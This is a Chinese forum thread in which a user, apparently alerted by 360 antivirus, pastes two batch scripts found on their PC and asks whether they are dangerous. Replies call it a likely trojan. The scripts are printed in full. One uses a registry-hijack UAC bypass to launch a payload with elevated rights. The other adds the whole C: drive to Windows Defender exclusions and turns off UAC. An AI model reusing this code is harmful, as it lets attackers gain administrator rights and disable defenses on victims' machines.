鼠鼠又去打游戏了，360救鼠一命，每隔一个小时弹一次提醒，鼠鼠这才发现这躺了三个文件

三个文件内容:
b.bat :
@璐村惂鐢ㄦ埛_000076K馃惥 off
set PAYLOAD=C:\Users\Public\Downloads\Service.exe
net session >nul 2>&1 || goto :label
%PAYLOAD%
exit /b 2
:label
whoami /groups|findstr /i "\<S-1-5-32-544\>" >nul 2>&1
if ERRORLEVEL 1 exit /b 1
for /f "tokens=4-5 delims=. " %%i in ('ver') do set WIN_VER=%%i.%%j
set key="HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System"
for /f "skip=2 tokens=3" %%U in ('REG QUERY %key% /v ConsentPromptBehaviorAdmin') do set /a "UAC=%%U"
if %UAC% equ 2 exit /b 1
if %UAC% equ 5 (
for %%V in (6.1 6.2 6.3) do if "%WIN_VER%" == "%%V" call :exploit mscfile CompMgmtLauncher.exe %PAYLOAD%
if "%WIN_VER%" == "10.0" call :exploit ms-settings ComputerDefaults.exe %PAYLOAD%
)>nul 2>&1
if %UAC% equ 0 powershell -c Start-Process "%PAYLOAD%" -Verb runas
exit /b 0
:exploit <key> <trigger> <payload>
set regPath="HKCU\Software\Classes\%1\shell\open\command"
reg add %regPath% /d "%~3" /f
reg add %regPath% /v DelegateExecute /f
%~2
reg delete "HKCU\Software\Classes\%1" /f
exit /b

services.exe可以解压，解压出来是babel.bat:
@璐村惂鐢ㄦ埛_000076K馃惥 off
PowerShell -NoProfile -ExecutionPolicy Bypass -Command ^
"$defenderExclusions = Get-MpPreference; ^
$defenderExclusions.ExclusionPath = $defenderExclusions.ExclusionPath + 'C:\'; ^
Set-MpPreference -ExclusionPath $defenderExclusions.ExclusionPath"
reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
exit /B

救救鼠啊啊，好像这些东西都存在这好久了，不要紧吧?

建议立刻把360换成卡巴斯基全盘扫描，这玩意儿大概率是木马

那楼主我问你，你为什么在这之前不安装杀毒软件？

看起来有修改注册表绕UAC的行为，大概是木马